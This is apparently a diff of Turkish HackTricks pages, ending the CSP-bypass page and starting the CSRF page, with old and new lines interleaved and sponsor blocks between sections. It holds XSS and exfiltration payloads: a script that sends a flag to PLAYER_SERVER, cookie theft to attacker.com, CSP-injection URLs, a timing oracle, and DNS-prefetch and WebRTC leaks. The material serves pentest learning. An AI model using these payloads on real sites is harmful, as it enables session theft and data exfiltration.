CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.
|
||||
|
||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlatabilir.
|
||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) tanımına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlatabilir.
|
||||
|
||||
İşte bir örnek:
|
||||
```html
|
||||
|
@ -464,17 +464,17 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
```
|
||||
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
|
||||
|
||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
|
||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **yüklemek**, **çıkarmak** ve **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi): [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) ve bu, **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Service Workers ile
|
||||
|
||||
Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:
|
||||
Service workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -486,25 +486,25 @@ Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değil
|
|||
|
||||
#### Chrome
|
||||
|
||||
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** onu **işe yaramaz** hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
|
||||
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** onu **işe yaramaz** hale getirecek şekilde **değiştirebilirsiniz**. Bu **bypass** yöntemlerinden herhangi biriyle **script 'unsafe-inline'** **izin verebilirsiniz**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Bu direktif mevcut script-src direktiflerini **geçersiz kılacağı** için.\
|
||||
Bu direktif mevcut script-src direktiflerini **geçersiz kılacaktır**.\
|
||||
Burada bir örnek bulabilirsiniz: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
Edge'de çok daha basit. CSP'ye sadece bunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **sil**.\
|
||||
Edge'de çok daha basit. CSP'ye sadece bunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **silip atar**.\
|
||||
Örnek: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı
|
||||
### img-src \*; via XSS (iframe) - Zaman saldırısı
|
||||
|
||||
Direktifin `'unsafe-inline'` eksikliğine dikkat edin.\
|
||||
Bu sefer kurbanı **kontrolünüzdeki** bir sayfayı **XSS** ile **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
|
||||
`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
|
||||
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken **zamanı kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
|
||||
|
||||
Bu sefer bir **bayrak** çıkarılacak, SQLi aracılığıyla **karakter doğru tahmin edildiğinde** **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
|
||||
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürer çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -564,15 +564,15 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
### Via Bookmarklets
|
||||
### Yer İmleri Aracılığıyla
|
||||
|
||||
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.
|
||||
|
||||
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP'yi kısıtlayarak CSP atlatma
|
||||
### CSP'yi Kısıtlayarak CSP Atlatma
|
||||
|
||||
[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
|
||||
[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır. Bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototype pollution** veya **dom clobbering** aracılığıyla **farklı bir scriptin rastgele bir script yüklemesini** sağlamaktadır.
|
||||
|
||||
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
|
||||
|
||||
|
@ -592,7 +592,7 @@ CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebi
|
|||
```
|
||||
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only
|
||||
|
||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
|
||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından büyük olasılıkla `unsafe-inline` izin verilmezse, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
|
||||
|
||||
Bir örnek için [**bu CTF yazısını kontrol edin**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -606,30 +606,30 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
* Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
|
||||
* `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.
|
||||
|
||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
|
||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızmasına yol açabilir.
|
||||
|
||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamaya ve ikili arama algoritmasına dayanır. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kod parçası:
|
||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamaya ve ikili arama algoritmasına dayanır. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz.
|
||||
|
||||
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.
|
||||
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların istemeden hassas bilgileri sızdırabileceğini göstermektedir.
|
||||
|
||||
[**buradan**](https://ctftime.org/writeup/29310) bir ipucu.
|
||||
[**buradan**](https://ctftime.org/writeup/29310) bir hile.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Hızla değişen hacking dünyasında güncel kalmak için gerçek zamanlı haberler ve bilgilerle takip edin
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
|
@ -637,14 +637,14 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize kat
|
|||
|
||||
### Çok fazla parametre olduğunda PHP Hataları
|
||||
|
||||
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle de yapabilirsiniz ve 20'den fazla dosya). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hataya neden olacaktır.
|
||||
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapabilirsiniz). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hataya neden olacaktır.
|
||||
|
||||
### PHP yanıt tamponu aşırı yüklenmesi
|
||||
|
||||
PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlama** ile bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarıların içine yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
|
||||
Sonra, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.
|
||||
|
||||
[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir.
|
||||
[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) fikir.
|
||||
|
||||
### Hata Sayfasını Yeniden Yazma
|
||||
|
||||
|
@ -665,7 +665,7 @@ SOME, bir sayfanın **uç noktasında** bir XSS (veya çok sınırlı XSS) **ist
|
|||
|
||||
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **verileri** çıktıda **yansıtan** bir **JSONP** uç noktası bulunmaktadır (yalnızca harf, rakam ve nokta sınırlaması ile).
|
||||
|
||||
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenir**. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
|
||||
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenir**. Ayrıca, WordPress yüklü olduğu için, bir saldırgan **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\
|
||||
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresini kontrol edin.
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
@ -679,7 +679,7 @@ Sadece konumu güncelleyerek saldırganın sunucusuna gizli bilgileri gönderebi
|
|||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### Meta tag
|
||||
### Meta etiketi
|
||||
|
||||
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
|
||||
```html
|
||||
|
@ -687,7 +687,7 @@ Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönl
|
|||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonraki kullanım için önbelleğe alacaktır.\
|
||||
Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonra kullanmak üzere önbelleğe alacak.\
|
||||
Bir tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri sızdırmak için** kötüye kullanabilirsiniz:
|
||||
|
@ -703,7 +703,7 @@ linkEl.rel = 'prefetch';
|
|||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
Bu durumun yaşanmaması için sunucu şu HTTP başlığını gönderebilir:
|
||||
Bu durumun yaşanmaması için sunucu HTTP başlığını gönderebilir:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
@ -715,7 +715,7 @@ Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor.
|
|||
|
||||
Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
|
||||
|
||||
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın:
|
||||
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -765,7 +765,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -776,8 +776,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦.
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -26,20 +26,20 @@ Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
|||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Açıklaması
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik açığı türüdür. Bu, saldırganların, kimlik doğrulaması yapılmış oturumları istismar ederek, habersiz kullanıcılar adına eylemler gerçekleştirmesine olanak tanır. Saldırı, bir kullanıcının, bir kurbanın platformuna giriş yaptıktan sonra kötü niyetli bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site, JavaScript çalıştırma, formları gönderme veya resimleri alma gibi yöntemlerle kurbanın hesabına istekler tetikler.
|
||||
**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik açığı türüdür. Bu, saldırganların, kimlik doğrulaması yapılmış oturumları istismar ederek, farkında olmayan kullanıcılar adına eylemler gerçekleştirmesine olanak tanır. Saldırı, bir kullanıcının, bir kurbanın platformuna giriş yaptıktan sonra kötü niyetli bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site, JavaScript çalıştırma, formları gönderme veya resimleri alma gibi yöntemlerle kurbanın hesabına istekler tetikler.
|
||||
|
||||
### CSRF Saldırısı için Ön Koşullar
|
||||
|
||||
CSRF açığını istismar etmek için birkaç koşulun sağlanması gerekir:
|
||||
|
||||
1. **Değerli Bir Eylemi Belirleme**: Saldırgan, kullanıcının şifresini, e-posta adresini değiştirmek veya yetkileri yükseltmek gibi istismar etmeye değer bir eylem bulmalıdır.
|
||||
2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca çerezler veya HTTP Temel Kimlik Doğrulama başlığı aracılığıyla yönetilmelidir, çünkü diğer başlıklar bu amaçla manipüle edilemez.
|
||||
2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca çerezler veya HTTP Temel Kimlik Doğrulama başlığı aracılığıyla yönetilmelidir; diğer başlıklar bu amaçla manipüle edilemez.
|
||||
3. **Tahmin Edilemez Parametrelerin Yokluğu**: İstek, tahmin edilemez parametreler içermemelidir, çünkü bunlar saldırıyı engelleyebilir.
|
||||
|
||||
### Hızlı Kontrol
|
||||
|
@ -59,7 +59,7 @@ CSRF saldırılarına karşı korunmak için birkaç önlem uygulanabilir:
|
|||
* `http://mal.net?orig=http://example.com` kullanmak (URL güvenilir URL ile bitiyor)
|
||||
* `http://example.com.mal.net` kullanmak (URL güvenilir URL ile başlıyor)
|
||||
* **Parametre İsimlerini Değiştirme**: POST veya GET isteklerindeki parametre isimlerini değiştirmek, otomatik saldırıları önlemeye yardımcı olabilir.
|
||||
* **CSRF Tokenleri**: Her oturumda benzersiz bir CSRF tokeni eklemek ve bu tokeni sonraki isteklere zorunlu kılmak, CSRF riskini önemli ölçüde azaltabilir. Tokenin etkinliği, CORS'un zorlanmasıyla artırılabilir.
|
||||
* **CSRF Token'ları**: Her oturumda benzersiz bir CSRF token'ı eklemek ve bu token'ı sonraki isteklere zorunlu kılmak, CSRF riskini önemli ölçüde azaltabilir. Token'ın etkinliği, CORS'un zorlanmasıyla artırılabilir.
|
||||
|
||||
Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliğini ve bütünlüğünü korumak için kritik öneme sahiptir.
|
||||
|
||||
|
@ -67,21 +67,21 @@ Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliğini ve bü
|
|||
|
||||
### POST'tan GET'e
|
||||
|
||||
Kötüye kullanmak istediğiniz form, bir **CSRF tokeni ile POST isteği göndermek üzere hazırlanmış olabilir, ancak** bir **GET** isteğinin de **geçerli olup olmadığını kontrol etmelisiniz** ve GET isteği gönderdiğinizde **CSRF tokeninin hala doğrulandığını** kontrol etmelisiniz.
|
||||
Kötüye kullanmak istediğiniz form, bir **CSRF token'ı ile POST isteği gönderecek şekilde hazırlanmış olabilir**, ancak bir **GET** isteğinin de **geçerli olup olmadığını kontrol etmelisiniz** ve GET isteği gönderdiğinizde **CSRF token'ının hala doğrulandığını** kontrol etmelisiniz.
|
||||
|
||||
### Token Eksikliği
|
||||
|
||||
Uygulamalar, tokenler mevcut olduğunda **tokenleri doğrulamak için bir mekanizma** uygulayabilir. Ancak, token yokken doğrulamanın tamamen atlanması durumunda bir güvenlik açığı ortaya çıkar. Saldırganlar, tokeni taşıyan **parametreyi kaldırarak** bunu istismar edebilir, sadece değerini değil. Bu, doğrulama sürecini atlatmalarına ve etkili bir Cross-Site Request Forgery (CSRF) saldırısı gerçekleştirmelerine olanak tanır.
|
||||
Uygulamalar, token'lar mevcut olduğunda **token'ları doğrulamak için bir mekanizma** uygulayabilir. Ancak, token yokken doğrulamanın tamamen atlanması durumunda bir güvenlik açığı ortaya çıkar. Saldırganlar, token'ı taşıyan **parametreyi kaldırarak** bunu istismar edebilir, sadece değerini değil. Bu, doğrulama sürecini atlatmalarına ve etkili bir Cross-Site Request Forgery (CSRF) saldırısı gerçekleştirmelerine olanak tanır.
|
||||
|
||||
### CSRF tokeni kullanıcı oturumuna bağlı değil
|
||||
### CSRF token'ı kullanıcı oturumuna bağlı değil
|
||||
|
||||
Uygulamalar **CSRF tokenlerini kullanıcı oturumlarına bağlamıyorsa**, bu önemli bir **güvenlik riski** oluşturur. Bu sistemler, her tokenin başlatan oturumla bağlı olmasını sağlamak yerine, tokenleri **küresel bir havuz** ile doğrular.
|
||||
